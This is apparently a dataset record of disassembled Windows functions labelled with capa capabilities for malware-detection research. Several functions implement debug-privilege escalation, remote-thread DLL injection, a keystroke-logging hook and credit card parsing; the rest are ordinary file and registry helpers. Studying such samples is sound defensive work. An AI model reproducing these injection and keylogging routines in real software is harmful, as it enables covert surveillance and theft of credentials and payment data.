joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001080
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x100010a3
mov eax, 1
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
push 0
push 0
push 0x10
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x20], edx
mov edx, dword [esp + 0x10]
push 0
push edx
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 2
mov dword [esp + 0x2c], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
neg eax
sbb eax, eax
add eax, 1
add esp, 0x1c
ret

Function at 0x10001100
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
sub esp, 0x108
mov eax, dword [0x10007020]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x103
lea eax, [esp + 5]
push 0
push eax
mov byte [esp + 0xc], 0
call sub.MSVCR80.dll_memset
mov edx, dword [0x10007478]
add esp, 0xc
push 0x104
lea ecx, [esp + 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.10001080
test eax, eax
je 0x10001164
xor al, al
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.1000382c
add esp, 0x108
ret
mov eax, dword [esp + 0x10c]
push edi
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x10001198
xor al, al
pop edi
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.1000382c
add esp, 0x108
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push 4
push 0x1000
lea ecx, [esp + 0x14]
push ecx
call ebx
add eax, 1
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x100011fa
push 0
lea edx, [esp + 0x10]
push edx
call ebx
add eax, 1
push eax
lea eax, [esp + 0x14]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100011fa
push str.LoadLibraryA
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10001214
pop esi
pop ebx
xor al, al
pop edi
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.1000382c
add esp, 0x108
ret
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [esp + 0x110]
pop esi
test eax, eax
pop ebx
setne al
pop edi
xor ecx, esp
call fcn.1000382c
add esp, 0x108
ret
Function at 0x10001250
Capabilities:
Create thread

Disassembly:
sub esp, 0x16c
mov eax, dword [0x10007020]
xor eax, esp
mov dword [esp + 0x168], eax
cmp dword [esp + 0x174], 1
mov eax, dword [esp + 0x170]
mov dword [0x10007478], eax
jne 0x10001334
push 0x103
lea ecx, [esp + 0x69]
push 0
push ecx
mov byte [esp + 0x70], 0
call sub.MSVCR80.dll_memset
push 0x63
lea edx, [esp + 0x11]
push 0
push edx
mov byte [esp + 0x18], 0
call sub.MSVCR80.dll_memset
add esp, 0x18
push 0x104
lea eax, [esp + 0x68]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x64]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x100012c3
sub eax, edx
mov ecx, eax
lea eax, [ecx - 1]
test eax, eax
jle 0x100012ed
mov dl, 0x5c
lea esp, [esp]
cmp byte [esp + eax + 0x64], dl
je 0x100012ed
sub eax, 1
test eax, eax
jg 0x100012e0
add eax, 1
cmp eax, ecx
jge 0x10001309
sub ecx, eax
push ecx
lea edx, [esp + eax + 0x68]
push edx
lea ecx, [esp + 8]
push ecx
call sub.MSVCR80.dll_memcpy
add esp, 0xc
lea edx, [esp]
push str.barclient.exe
push edx
call dword [sym.imp.MSVCR80.dll__stricmp]
add esp, 8
test eax, eax
je 0x10001334
push 0
push 0
push 0
push section..text
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x168]
xor ecx, esp
mov eax, 1
call fcn.1000382c
add esp, 0x16c
ret 0xc

Function at 0x10001d20
Capabilities:
Log keystrokes via application hook

Disassembly:
push ecx
push ebx
mov ebx, dword [0x10007494]
push ebp
mov ebp, dword [0x1000748c]
push esi
mov esi, dword [0x10007488]
push edi
mov edi, dword [0x10007490]
cmp dword [esi + 4], edi
je 0x10001d60
test edi, edi
je 0x10001d4e
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push edi
call ecx
mov eax, dword [esi + 4]
test eax, eax
je 0x10001d5d
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov dword [esi + 4], edi
test edi, edi
je 0x10001dcf
mov ecx, dword [edi]
mov eax, dword [ecx]
lea edx, [esp + 0x10]
push edx
push 0x1000523c
push edi
call eax
test eax, eax
jl 0x10001dcf
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x10]
lea edi, [esi + 8]
push edi
push 0x1000522c
push eax
call edx
test eax, eax
jl 0x10001dc3
mov eax, dword [edi]
mov ecx, dword [eax]
lea edx, [esi + 0xc]
push edx
push esi
push eax
mov eax, dword [ecx + 0x14]
call eax
test eax, eax
jl 0x10001dcf
push ebx
push ebp
push 0x10001bc0
push 2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov edi, dword [edi]
mov ecx, dword [edi]
mov edx, dword [ecx + 8]
push edi
mov dword [0x10007480], eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10001de0
Capabilities:
Parse credit card information

Disassembly:
mov eax, 0x1408
call fcn.10004110
mov eax, dword [0x10007020]
xor eax, esp
mov dword [esp + 0x1404], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push 0xffffffffffffffff
mov edi, ecx
push edi
push ebx
push ebx
call ebp
mov esi, eax
test esi, esi
je 0x10001f7e
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10003820
add esp, 4
test eax, eax
mov dword [esp + 0x10], eax
je 0x10001f7e
lea ecx, [esi + esi]
push ecx
push ebx
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push esi
mov esi, dword [esp + 0x14]
push esi
push 0xffffffffffffffff
push edi
push ebx
push ebx
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push esi
push ebx
push ebx
call edi
mov esi, eax
test esi, esi
je 0x10001f64
push esi
call fcn.10003820
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10001f64
push esi
push 0
push ebx
call sub.MSVCR80.dll_memset
mov ebp, dword [esp + 0x1c]
add esp, 0xc
push 0
push 0
push esi
push ebx
push 0xffffffffffffffff
push ebp
push 0
push 0
call edi
push 0x1400
lea edx, [esp + 0x18]
push 0
push edx
mov dword [esp + 0x1c], ebx
call sub.MSVCR80.dll_memset
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10001ec3
sub eax, edx
cmp eax, 0x1400
ja 0x10001f68
cmp byte [ebx], cl
je 0x10001fc2
mov edi, dword [sym.imp.MSVCR80.dll_sprintf]
mov eax, dword [esp + 0x10]
mov al, byte [eax]
cmp al, 0x21
je 0x10001f82
cmp al, 0x40
je 0x10001f82
cmp al, 0x23
je 0x10001f82
cmp al, 0x24
je 0x10001f82
cmp al, 0x26
je 0x10001f82
cmp al, 0x2a
je 0x10001f82
cmp al, 0x28
je 0x10001f82
cmp al, 0x29
je 0x10001f82
cmp al, 0x3d
je 0x10001f82
cmp al, 0x3a
je 0x10001f82
cmp al, 0x2f
je 0x10001f82
cmp al, 0x3b
je 0x10001f82
cmp al, 0x3f
je 0x10001f82
cmp al, 0x2b
je 0x10001f82
cmp al, 0x27
je 0x10001f82
cmp al, 0x2e
je 0x10001f82
cmp al, 0x40
jbe 0x10001f41
cmp al, 0x7b
jb 0x10001f82
cmp al, 0x2f
jbe 0x10001f49
cmp al, 0x3a
jb 0x10001f82
lea ecx, [esp + 0x14]
lea esi, [ecx + 1]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x10001f50
movzx edx, al
push edx
push str.___2X
jmp 0x10001fa2
mov ebp, dword [esp + 0x10]
push ebp
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 4
test ebx, ebx
je 0x10001f7e
push ebx
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 4
xor eax, eax
jmp 0x10001fd5
lea ecx, [esp + 0x14]
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x10001f90
movzx edx, al
push edx
push 0x100054d0
sub ecx, esi
lea eax, [esp + ecx + 0x1c]
push eax
call edi
mov eax, dword [esp + 0x1c]
add eax, 1
add esp, 0xc
cmp byte [eax], 0
mov dword [esp + 0x10], eax
jne 0x10001ee7
push ebp
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
push ebx
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 8
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0x1414]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000382c
add esp, 0x1408
ret
Function at 0x1000382c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10007020]
jne 0x10003836
repz ret
jmp fcn.10003d33
Function at 0x405c83
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x4345c0
call fcn.004339e0
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407553
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 1
je 0x405caf
push edi
call esi
cmp eax, 0xffffffff
jne 0x405cf1
test ebx, ebx
je 0x405cee
lea ecx, [ebp - 0x18]
call fcn.004028e9
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.0040765c
test al, al
push dword [ebp - 0x18]
je 0x405ce8
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401abd
pop ecx
mov eax, esi
jmp 0x405cf1
call fcn.00401abd
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406306
Capabilities:
Get disk information

Disassembly:
mov eax, 0x434664
call fcn.004339e0
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.0041c900
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x4063d4
mov eax, SysReAllocString
cmp ebx, eax
ja 0x406342
mov eax, ebx
add eax, eax
push eax
call fcn.004066d0
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x10], ebx
je 0x4063cd
cmp ebx, dword [ebp - 0x14]
ja 0x4063cd
lea ecx, [ebp - 0x2c]
call fcn.004028e9
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], edi
jbe 0x4063b5
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4063aa
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.004066d0
mov ecx, dword [ebp - 0x18]
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.0040150c
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x10]
jb 0x406380
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
call fcn.00401abd
push esi
call fcn.00401abd
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
sete al
jmp 0x4063d6
push esi
call fcn.00401abd
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x100038b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x84]
xor edi, edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x44], 1
je case.0x100038f1.2
mov ecx, dword [esp + 0x7c]
lea eax, [ecx - 1]
cmp eax, 5
ja case.0x100038f1.2
jmp dword [eax*4 + 0x1000397c]
mov word [esp + 0x48], di
jmp 0x1000392a
mov word [esp + 0x48], 2
jmp 0x1000392a
mov word [esp + 0x48], 3
jmp 0x1000392a
mov word [esp + 0x48], 4
jmp 0x1000392a
mov word [esp + 0x48], 7
jmp 0x1000392a
mov word [esp + 0x48], 5
lea edx, [esp + 8]
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x18]
push edx
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x10003974
cmp dword [esp + 0x70], edi
je 0x10003960
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret

Function at 0x10003a90
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.10003650
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x10003ae7
push ebx
push edi
call fcn.10003760
push esi
mov ebx, esi
call fcn.10003650
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x10003abe
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x10003c50
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
push edi
push eax
call fcn.10004170
mov edi, dword [esp + 0x38]
xor ebp, ebp
push edi
mov ebx, eax
mov dword [esp + 0x18], ebp
call dword [0x1000ab04]
add esp, 8
test ebx, ebx
je 0x10003d94
test eax, eax
je 0x10003d94
inc eax
push eax
call fcn.100043a7
mov ebp, eax
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.10004380
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10003cc2
mov byte [edi], 0
inc edi
lea eax, [esp + 0x1c]
push eax
push ebp
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10003d81
push 0x400
mov dword [esp + 0x18], 0x400
mov dword [esp + 0x1c], 1
call fcn.100043a7
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push esi
push edx
push 0
push edi
push eax
call ebx
test eax, eax
je 0x10003d4a
cmp eax, 0xea
jne 0x10003d6d
push esi
call fcn.10004369
mov ecx, dword [esp + 0x18]
push ecx
call fcn.100043a7
mov ecx, dword [esp + 0x24]
add esp, 8
lea edx, [esp + 0x14]
mov esi, eax
push edx
lea eax, [esp + 0x1c]
push esi
push eax
push 0
push edi
push ecx
call ebx
test eax, eax
jne 0x10003d15
mov eax, dword [esp + 0x18]
cmp eax, 1
je 0x10003d58
cmp eax, 2
jne 0x10003d6d
push esi
call dword [0x1000ab04]
push eax
push esi
call fcn.10004130
add esp, 0xc
mov dword [esp + 0x10], eax
push esi
call fcn.10004369
mov edx, dword [esp + 0x20]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call fcn.10004369
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
jne 0x10003dbd
mov ebp, eax
mov eax, dword [esp + 0x48]
test eax, eax
je 0x10003dc9
mov esi, dword [esp + 0x40]
test esi, esi
je 0x10003dc9
push esi
call dword [0x1000ab04]
push eax
push esi
call fcn.10004130
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x402e9a
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x426390]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402f2e
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402eeb
cmp dword [ebp + 0x10], ebx
jne 0x402f22
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402e9a
test eax, eax
jne 0x402efd
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ed2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.00406444
cmp eax, ebx
je 0x402f35
push ebx
push dword [0x426390]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402f2e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x426390], ebx
jne 0x402f2b
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402f2b
jmp 0x402f2e
Function at 0x4032bf
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x4032dc
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x4032eb
mov ebx, 0x410878
mov eax, dword [ebp + 8]
test eax, eax
jl 0x403300
mov ecx, dword [0x426338]
add ecx, eax
push ecx
call fcn.004034e4
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.004034b2
test eax, eax
je 0x40345d
test byte [ebp + 0x17], 0x80
je 0x403446
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x40c7e8
mov dword [ebp - 0xc], eax
call fcn.0040651e
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x4034a8
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x403350
mov esi, dword [ebp + 0x14]
mov edi, 0x40c878
push esi
push edi
call fcn.004034b2
test eax, eax
je 0x40345d
sub dword [ebp + 0x14], esi
mov dword [0x40c800], edi
mov dword [0x40c804], esi
mov eax, dword [ebp - 8]
mov ecx, 0x40c7e8
mov dword [0x40c808], ebx
mov dword [0x40c80c], eax
call fcn.0040653e
test eax, eax
mov dword [ebp - 0x14], eax
jl 0x40343e
mov esi, dword [0x40c808]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x426394], 1
mov edi, eax
je 0x4033f2
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x4033bf
cmp dword [ebp + 0x14], 0
jne 0x4033f2
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x54]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push 0
call fcn.00405289
mov dword [ebp - 0xc], edi
xor eax, eax
cmp esi, eax
je 0x403433
cmp dword [ebp + 0x10], eax
jne 0x40341b
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403442
cmp dword [ebp - 0x10], esi
jne 0x403442
add dword [ebp - 4], esi
jmp 0x403427
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x40c808]
cmp dword [ebp - 0x14], 1
jne 0x403373
jmp 0x4034a8
cmp dword [ebp + 0x14], eax
jg 0x403343
jmp 0x4034a8
push 0xfffffffffffffffc
jmp 0x40345f
push 0xfffffffffffffffe
jmp 0x40345f
test edi, edi
je 0x40349d
cmp dword [ebp + 0x14], esi
jge 0x403452
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.004034b2
test eax, eax
jne 0x4034a5
push 0xfffffffffffffffd
pop eax
jmp 0x4034ab
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x40346d
mov esi, dword [ebp + 0x14]
mov edi, 0x40c878
push esi
push edi
call fcn.004034b2
test eax, eax
je 0x40345d
lea eax, [ebp + 0x10]
push 0
push eax
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403442
cmp esi, dword [ebp + 0x10]
jne 0x403442
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403462
jmp 0x4034a8
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x405b4d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x4230d0
push esi
call fcn.00405f79
push esi
call fcn.00405b00
mov edi, eax
test edi, edi
jne 0x405b6e
xor eax, eax
jmp 0x405bc0
push edi
call fcn.004061d7
test byte [0x4262f8], 0x80
je 0x405b87
mov al, byte [edi]
test al, al
je 0x405b6a
cmp al, 0x5c
je 0x405b6a
sub edi, esi
jmp 0x405b9f
call fcn.0040641d
test eax, eax
je 0x405b99
test byte [eax], 0x10
je 0x405b6a
push esi
call fcn.00405ab3
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405b8b
call fcn.00405a6c
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405c31
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x405c4d
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4

Function at 0x405c50
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405c7f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405cc3
test edi, edi
jne 0x405c8a
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405cbd
Function at 0x405cc7
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.00406444
test eax, eax
mov esi, dword [esp + 0x18]
je 0x405ceb
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405e24
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x423e58], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x423e58
je 0x405d2f
push 1
push 0
push esi
call fcn.00405c50
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x405e2a
cmp eax, edi
jg 0x405e2a
mov esi, 0x4238d0
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x405e2a
cmp eax, edi
jg 0x405e2a
push esi
push ebp
push str._s_s_r_n
push 0x4234d0
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x4262f0]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00405f9b
push 4
push 0xc0000000
push esi
call fcn.00405c50
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x14], ebp
je 0x405e24
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405e1d
lea eax, [esp + 0x18]
push 0
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405e1d
cmp edi, dword [esp + 0x18]
jne 0x405e1d
push str._Rename__r_n
push esi
call fcn.00405bc5
test eax, eax
jne 0x405e31
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call fcn.00405f79
add edi, 0xa
mov eax, edi
push ebx
add eax, esi
push 0x4234d0
push eax
call fcn.00405c11
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x18]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x426370]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x40aad8
push eax
call fcn.00405bc5
test eax, eax
je 0x405de8
inc eax
lea ecx, [esi + edi]
cmp eax, ecx
mov ebp, eax
jae 0x405e58
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x405e4d
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x405dea